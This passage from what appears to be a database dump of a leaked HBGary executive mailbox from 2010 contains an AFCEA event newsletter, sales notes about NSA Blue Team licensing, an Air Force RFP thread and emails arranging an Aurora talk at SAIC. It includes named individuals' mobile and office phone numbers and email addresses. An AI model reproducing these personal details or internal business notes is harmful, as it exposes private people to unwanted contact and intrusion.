101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3825,'aaron_hbgary_com/3825.html'),(4875,'2010-04-02','\"AFCEA NOVA Events\" <events@afceanova.org>','/aaron@hbgary.com/new/1297003125.M348774P3547Q4875.eml','aaron@hbgary.com','Asst Secretary for Acquisition, David Van Buren, USAF, speaks at April 23 Monthly Lunch - Sheraton Tysons','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    \r\n    \r\n        Follow \r\n          AFCEA NOVA on\r\n         \r\n           \r\n          \r\n          \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          Home\r\n          About \r\n            AFCEA NOVA\r\n          Membership\r\n           Events\r\n          Contact \r\n            Us\r\n          AFCEA \r\n            Int\'l\r\n        \r\n      \r\n  \r\n   \r\n    &nbsp;\r\n  \r\n   \r\n    &nbsp;\r\n  \r\n\r\n\r\n   \r\n    \r\n     Apr \r\n        23 (Fri), 2010 -- AFCEA NOVA Monthly Luncheon\r\n      Speaker:\r\n        \r\n        Mr. David M. Van Buren\r\n         \r\n        Acting Assistant Secretary for Acquisition\r\n        U.S. Air Force\r\n        \r\n      Register \r\n        Online Now\r\n        (as always, Gratis to Gov/Mil employees)\r\n      &nbsp;\r\n      \r\n      \r\n        \r\n          DETAILS\r\n            WHEN:\r\n              Friday, \r\n              April 23, 2010\r\n              11:30am - Check-In &amp; Reception\r\n              12:00n - 1:30pm - Luncheon &amp; Program\r\n            \r\n              WHERE:\r\n              Sheraton \r\n              Premiere at Tysons Corner\r\n              8661 Leesburg Pike\r\n              Vienna, Virginia 22180\r\n            \r\n              COST:\r\n              Industry Member Pre-Registered -- $35\r\n              Industry Non-member Pre-Registered -- $40\r\n              Industry Member Walk-in -- $40 (if space is available)\r\n              Industry Non-member Walk-in -- $45 (if space is available)\r\n              Government Reservations -- Gratis (but we need you to pre-register \r\n              to attend)\r\n            It is not necessary \r\n              to be a member of AFCEA to attend the monthly luncheons... But once \r\n              you come to an event, we think you\'ll want to join us!\r\n            SHUTTLE-RIDE \r\n              FROM THE PENTAGON:\r\n              AFCEA NOVA offers a shuttle-ride service between the Pentagon and the \r\n              Sheraton for luncheon attendees. The drivers will depart the Pentagon \r\n              at 1105 for the Sheraton and departs the Sheraton at 1330 for return \r\n              to the Pentagon by 1400. To sign up for a ride from the Pentagon, please 1) Register \r\n              for the Luncheon, and then 2) Fill \r\n              out the separate Shuttle Registration Form, which goes to \r\n              our VP for Govt affairs team.\r\n            Register \r\n              Online Now\r\n              \r\n            AFCEA \r\n              NOVA Corporate Table Holders\r\n              Have you Signed Up for your table for \r\n              2009-2010\r\n            With \r\n              great speakers and an average attendance of 400+, AFCEA NOVA Monthly \r\n              Luncheons are hands-down the best networking event in town for the \r\n              defense, intel &amp; homeland security communities!\r\n            Learn \r\n              about the benefits of being a Corp Table Holder &amp; Sign Up Online \r\n              Today!\r\n              \r\n              \r\n      \r\n        \r\n      \r\n      \r\n         \r\n          \r\n          &nbsp;\r\n        \r\n         \r\n          2009-2010 \r\n              Multi-Table Sponsors\r\n        \r\n         \r\n           \r\n              Booz Allen Hamilton \r\n          \r\n              General Dynamics\r\n              \r\n              \r\n        \r\n         \r\n          \r\n        \r\n         \r\n          2009-2010 \r\n              Full-Table Sponsors\r\n        \r\n         \r\n          \r\n              AT&amp;T\r\n              BAE Systems\r\n              Bomgar \r\n              Booz Allen Hamilton\r\n              Booz Allen Hamilton\r\n              Brocade\r\n              CACI\r\n              CompTIA\r\n              Deloitte\r\n              DLT Solutions, Inc.\r\n              Eclat\r\n              Fairfax Co Economic Development Authority \r\n              General Dynamics\r\n              General Dynamics IT\r\n            &nbsp;\r\n            \r\n            \r\n            \r\n            GTSI / NetApp\r\n            Harris\r\n            HP\r\n            IBM \r\n            immixGroup\r\n            ITT\r\n            Kratos Defense &amp; Security\r\n            Lockheed Martin\r\n            Nortel Government Solutions\r\n            Northrop Grumman\r\n            QinetiQ North America\r\n            SAIC\r\n            Segovia \r\n            Sybase\r\n            Verizon Business\r\n            \r\n            \r\n        \r\n         \r\n          2009-2010 \r\n            Half-Table Sponsors\r\n        \r\n         \r\n          Accenture\r\n              Adobe Systems\r\n              Akamai Technologies\r\n              Alion Science and Technology\r\n              ASM Research\r\n              ASSYST \r\n              Brandon Technology Consulting\r\n              CA, Inc.\r\n              CDW\r\n              Ciena \r\n              Cisco\r\n              Copper River Information Technology\r\n              CSC\r\n              Data Systems &amp; Technology\r\n              FedSources \r\n              Femme Comp\r\n              Fluke Networks\r\n              Fujitsu Network Communications\r\n              Global Broadband Solutions\r\n              Graybar/Tyco \r\n              iDirect Government Technologies\r\n              iGov\r\n              InfoZen \r\n              INPUT \r\n              InTec\r\n              Juniper Networks\r\n              L-3 Enterprise IT Solutions\r\n              L-3 GS&amp;ES\r\n              Level 3 Communications\r\n              LGS Innovations\r\n            \r\n               \r\n            \r\n          MorganFranklin\r\n              NCI Information Systems\r\n              Next Tier Concepts \r\n              NetStar-1\r\n              NJVC\r\n              NOVA Corporation\r\n              Parabon Computation\r\n              Paragon Communications Solutions\r\n              Perot Systems\r\n              Pragmatics\r\n              Quest Software\r\n              Qwest Government Services\r\n              SDV Solutions\r\n              SecureInfo Corporation\r\n              Security University\r\n              Senior Executive Services\r\n              Solers\r\n              Sprint\r\n              SRA International\r\n              STG, Inc.\r\n              Symantec\r\n              TCoombs &amp; Associates\r\n              TechTeam Government Solutions\r\n              Trusted Computer Solutions\r\n              Ultra Electronics-Criticom\r\n              Unisys\r\n              Vangent\r\n              Vision Technologies\r\n              Whitney, Bradley &amp; Brown\r\n              \r\n        \r\n      \r\n      Shouldn\'t \r\n        Your Company Be Listed Above as a Monthly Table Holder?\r\n        Sign \r\n        Up Online Today!\r\n      Volunteer \r\n        with AFCEA NOVA\r\n      \r\n    \r\n    \r\n    \r\n       \r\n         \r\n      \r\n         \r\n          \r\n               \r\n                AFCEA \r\n                    NOVA UpComing Events\r\n                  \r\n              \r\n            \r\n        \r\n         \r\n          \r\n               \r\n                &nbsp;\r\n                  Naval \r\n                    IT Day,\r\n                    9th Annual\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Apr 15 (Thu), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  Apr \r\n                    Monthly Lunch w/ David Van Buren, USAF Asst Sec for Acq\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Apr 23 (Fri), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  Annual \r\n                    Golf Tournament\r\n                  Old \r\n                    Hickory Golf Club, Woodbridge\r\n                    Apr 29 (Thu), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  May \r\n                    2010 Monthly Luncheon\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    May 14 (Fri), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                All \r\n                    Upcoming events...\r\n              \r\n            \r\n        \r\n       \r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Volunteer\r\n        with\r\n        AFCEA NOVA\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Follow\r\n        AFCEA NOVA\r\n        on\r\n      \r\n      \r\n      \r\n      \r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Volunteer\r\n        with\r\n        AFCEA NOVA\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Follow\r\n        AFCEA NOVA\r\n        on\r\n      \r\n      \r\n      \r\n      \r\n      &nbsp;\r\n      &nbsp;\r\n    \r\n  \r\n   \r\n    \r\n  \r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    Armed \r\n      Forces Communications &amp; Electronics Association, Northern Virginia Chapter\r\n      U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n      email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n  \r\n\r\n \r\n  Management Consulting and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n',4468,'aaron_hbgary_com/4468.html'),(4876,'2010-04-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003125.M643549P3547Q4876.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Here is some NSA info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nApparently Tony Sager is\r\nWolfkills boss and he is a big support of the MITRE effort MAEC.&nbsp; Ned over at\r\nSymantec knows him, so we should try to set up a meeting.&nbsp; I&#8217;ll ask Ned for an\r\nintro\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, March 16, 2010 1:28 PM\r\nTo: \'Aaron Barr\'\r\nCc: \'Penny Leavy\'\r\nSubject: Here is some NSA info\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThe NSA Blue Team is an HBGary customer.&nbsp; They have\r\nmultiple copies of Responder Pro + DDNA.&nbsp; They are about to give us a $50k\r\norder to pilot DDNA over the enterprise using their homegrown BlueScope\r\nsystem.&nbsp; BlueScope is an agent based system that they deploy on services\r\nengagements to look for and collect &#8220;indicators of compromise&#8221; from the network\r\nand disk drives.&nbsp; They want to &#8220;snap in&#8221; our DDNA host endpoint software\r\nto add to their capabilities.&nbsp; We will sell them a license to the endpoint\r\nsoftware. They will launch it on the endpoint from BlueScope and BlueScope will\r\ncollect DDNA data and put it in their own DB.\r\n\r\n&nbsp;\r\n\r\nTurns out that the Blue Team and ANO are sister\r\norganizations under the same parent, VAO.&nbsp; In fact, ANO uses the BlueScope\r\nsystem as their primary tool. &nbsp;&nbsp;ANO and the Blue Team do similar work\r\nlooking for indicators of compromise.&nbsp; ANO works from remote and Blue Team\r\ngoes onsite to DoD agencies.&nbsp; \r\n\r\n&nbsp;\r\n\r\nVulnerability Analysis &amp; Operations (VAO I7) - Tony\r\nSager\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBlue Team &#8211; Scott Brown\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAdvanced Network Operations (ANO) &#8211; Bob\r\nSimmerly, Stephanie Larson\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSystems and Network Analysis Center (SNAC) &#8211;\r\nResearch organization.&nbsp; Feeds malware to VAO.\r\n\r\nVAO, Blue Team, ANO and SNAC all could use the HBGary\r\nmalware feed processor.&nbsp; Maybe we can get them to pool their dollars to buy\r\nfrom us.\r\n\r\n&nbsp;\r\n\r\nScott said another organization is considering CWSandbox for\r\nhigh volume malware analysis.&nbsp; I&#8217;d rather they spend their money to\r\nlicense HBGary software.\r\n\r\n&nbsp;\r\n\r\nScott had previously told me that DoD looks at IR as a tier\r\nsystem.&nbsp; The top tier service providers use BlueScope (around a dozen\r\norganizations).&nbsp; Second tier are the CERTs.&nbsp; At the agency level is\r\nHBSS (ePO).&nbsp; So getting the BlueScope users getting value from DDNA will\r\ngo a long way toward getting lots of agencies buying DDNA ePO.\r\n\r\n&nbsp;\r\n\r\nEverything we are trying to do at NSA complements everything\r\nelse.&nbsp; Responder + DDNA, DDNA for BlueScope, the Threat Assessment Center,\r\nDDNA for HBSS, and onsite services.&nbsp; It all ties together and is a further\r\nopportunity to build relationships.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11273,'aaron_hbgary_com/11273.html'),(4877,'2010-04-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003125.M848315P3547Q4877.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Alliant AF OSI RFP Guardian Requirement','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDid you go after this?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 03, 2010 7:03 AM\r\nTo: Greg Hoglund; Penny Leavy\r\nCc: Ted Vera; Rich Cummings; Bob Slapnik\r\nSubject: Fwd: Alliant AF OSI RFP Guardian Requirement\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nCheck out this RFP to deliver IR, Forensics, Malware\r\nanalysis to the airforce. &nbsp;TASC, Inc. wants us to provide the capability\r\nto go after this. &nbsp;Ted and I will discuss today to see what we want to do.\r\n&nbsp;The total list of companies that can prime this contract are listed here:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nhttp://www.google.com/search?client=safari&amp;rls=en&amp;q=Alliant+contract+award&amp;ie=UTF-8&amp;oe=UTF-8\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn the list the only ones I know of that have a native\r\ncapability in this area are Mantech and SRA, can you look at the list and tell\r\nme who I am missing. &nbsp;We are looking to team with TASC/MacAulay-Brown.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBetween this, the DARPA BAA and developing a more tactical\r\nIR service offering Ted and I will be busy. &nbsp;For all of these we are going\r\nto need some writing assistance for content but Ted and I will do most of it.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n&quot;Gutierrez,\r\nDaniel L (TASC Inc)&quot; &lt;daniel.gutierrez@TASC.COM&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nFebruary\r\n2, 2010 4:12:47 PM PST\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\n&lt;aaron@hbgary.com&gt;, &lt;ted@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nFw: Alliant AF OSI RFP Guardian Requirement\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Henderson, Van B (TASC Inc)&nbsp;\r\nTo: Gutierrez, Daniel L (TASC Inc)&nbsp;\r\nSent: Thu Jan 28 14:08:55 2010\r\nSubject: FW: Alliant AF OSI RFP Guardian Requirement&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIf interested, I suspect the big question will be how do we get\r\nonto Alliant, given TASC does not hold that contract vehicle.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet me know if interested&#8230;&#8230;&#8230;&nbsp; &nbsp;&nbsp;I still get this\r\ninfo from NG until they figure out not to send to me.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;Van\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nVan Henderson\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3838,'aaron_hbgary_com/3838.html'),(4878,'2010-04-02','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','/aaron@hbgary.com/new/1297003126.M296363P3547Q4879.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Aurora Talk at SAIC','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI&#8217;ve posted the invitations on\r\nFacebook and LinkedIn.\r\n\r\n&nbsp;\r\n\r\nScott\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nScott W. Sheldon, PMP | SAIC\r\n\r\nVice\r\nPresident, Senior Account Executive | Intelligence, Security and Technology\r\nGroup\r\n\r\nmobile:\r\n410.382.0179 | email: scott.w.sheldon@saic.com \r\n\r\n&nbsp;\r\n\r\nScience\r\nApplications International Corporation\r\n\r\n6841\r\n  Benjamin Franklin Drive\r\n\r\nColumbia, MD\r\n 21046\r\n\r\nwww.saic.com\r\n\r\n&nbsp;\r\n\r\nEnergy&nbsp;\r\n|&nbsp; Environment&nbsp; |&nbsp; National Security &nbsp;|&nbsp; Health&nbsp; |&nbsp; Critical Infrastructure\r\n\r\n&nbsp;\r\n\r\nPlease\r\nconsider the environment before printing this email.\r\n\r\n&nbsp;\r\n\r\nThis e-mail and any attachments\r\nto it are intended only for the identified recipients. It may contain\r\nproprietary or otherwise legally protected information of SAIC. Any\r\nunauthorized use or disclosure of this communication is strictly prohibited. If\r\nyou have received this communication in error, please notify the sender and\r\ndelete or otherwise destroy the e-mail and all attachments\r\nimmediately.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, April 01, 2010\r\n10:21 PM\r\nTo: Sheldon,\r\n Scott W.\r\nCc: bob@hbgary.com; Estell, Timothy W.\r\nSubject: Re: Aurora Talk at SAIC\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nLet me know if you need something else.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBIO\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr is the CEO of HBGary\r\nFederal, a services company focused on delivering specialized malware analysis,\r\nincident response, and information operations capabilities to the IC, DoD, and\r\nFederal agencies.&nbsp; Previously, Aaron served as the Director of Technology\r\nfor the Cybersecurity and SIGINT Business Unit within Northrop Grummans\r\nIntelligence Systems Division, and as the Chief Engineer for Northrop\r\nGrummans\'s Cyber Campaign. As Technical Director, he was responsible for\r\ndeveloping technical strategies and roadmaps for a $750 million organization as\r\nwell as managing approximately $20 million in Research and Development\r\nprojects. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the\r\nUnited States Navy as an enlisted cryptologist, senior signals analyst,\r\nsoftware programmer, and system administrator. Mr. Barr served tours in Misawa, Japan,\r\nNorfolk Virginia,\r\nPensacola Florida,\r\nand Rota Spain.\r\nWhile serving in Norfolk Virginia, he was accepted into the Enlisted\r\nEducation Advancement Program (EEAP) where he finished a Bachelors of Science\r\nin Biology, minoring in Chemistry, later completing a Masters in Computer\r\nScience with an emphasis in Computer Security. He has been a panelist and given\r\nspeeches on cybersecurity and emerging technologies at numerous Intelligence\r\nCommunity and DoD conferences and symposiums.\r\n\r\nAbstract\r\n\r\nPrior to Operation Aurora most people\r\nhad never heard of the term APT, now you can\'t get away from it.&nbsp;\r\nOperation Aurora\r\nwhile maybe not a bell-weather event, certainly raised the consciousness of\r\ncybersecurity and the threats that do exist.&nbsp; But awareness is not always\r\na good thing, as many still have a very superficial and naive perspective on\r\nwhat the advanced persistent threat is, what it is not, and what needs to be\r\ndone to combat it.&nbsp; This discussion will discuss the attributes of the Aurora event and the state of cybersecurity\r\ntoday within the Federal government.\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 30, 2010, at 9:36 AM, Sheldon, Scott\r\n W. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nAwesome! I\'ll lock it in.\r\n\r\nPlease send me an abstract and short bio so I can get the invitations\r\nout.\r\n\r\nScott\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, March 29, 2010 7:41 PM\r\nTo: Sheldon, Scott W.\r\nCc: bob@hbgary.com; Estell,\r\n Timothy W.\r\nSubject: Re: Aurora\r\nTalk at SAIC\r\n\r\nYep works for me.\r\n\r\nFrom my iPhone\r\n\r\nOn Mar 29, 2010, at 5:53 PM, &quot;Sheldon, Scott W.&quot;\r\n&lt;SCOTT.W.SHELDON@saic.com\r\n\r\n\r\n\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n27 April at 1600 works great.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIf you agree, I\'ll need a short bio and a short presentation\r\n\r\n\r\n\r\n\r\n\r\nabstract to\r\n\r\n\r\n\r\n\r\n\r\npost with the invitation for attendees.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nScott\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\n\r\n\r\n\r\n\r\nSent: Monday, March 29, 2010 5:44 PM\r\n\r\n\r\n\r\n\r\n\r\nTo: Sheldon, Scott W.\r\n\r\n\r\n\r\n\r\n\r\nCc: bob@hbgary.com; Estell, Timothy W.\r\n\r\n\r\n\r\n\r\n\r\nSubject: Re: Aurora\r\nTalk at SAIC\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHow about the 27th does that work?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 26, 2010, at 5:03 PM, Sheldon, Scott\r\n W. wrote:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI just spoke with our Conference\r\n Center coordinator and\r\nmeeting space\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nis\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nan issue at 1600 on 20 Apr.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe can easily do 1600 on 27 Apr if that works for you.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe can also handle 1630 on 20 Apr if 27 Apr doesn\'t work. They need\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nthe\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nextra 30 minutes to reconfigure the room from a previously scheduled\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nmeeting.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAlong with your bio, I\'ll also need a paragraph or two abstract of\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nyour\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\npresentation to post as part of the announcement.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nScott\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Estell, Timothy W.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent: Friday, March 26, 2010 4:56 PM\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo: aaron@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCc: bob@hbgary.com; Sheldon, Scott W.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject: Aurora\r\nTalk at SAIC\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLooks like Dino or EndGames got cold feet. They say they have too\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nmuch\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ngoing on to commit Dino to this event.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSo the stage is yours and you can keep us captivated with the HBGary\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nresearch into Aurora.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe\'ll plan on Tuesday, April 20th at 4 PM.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCan you provide a one paragraph bio to include in the meeting\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nannouncement?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTim.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTim Estell -- estellt@saic.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n443-367-7558 (Office) 443-562-2039 (Cell)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16838,'aaron_hbgary_com/16838.html'),(4879,'2010-04-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003126.M52697P3547Q4878.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Alliant AF OSI RFP Guardian Requirement','We did.awaiting award.From my iPhoneOn Apr 2, 2010, at 4:31 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nDid you go after this?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 03, 2010 7:03 AM\r\nTo: Greg Hoglund; Penny Leavy\r\nCc: Ted Vera; Rich Cummings; Bob Slapnik\r\nSubject: Fwd: Alliant AF OSI RFP Guardian Requirement\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nCheck out this RFP to deliver IR, Forensics, Malware\r\nanalysis to the airforce.  TASC, Inc. wants us to provide the capability\r\nto go after this.  Ted and I will discuss today to see what we want to do.\r\n The total list of companies that can prime this contract are listed 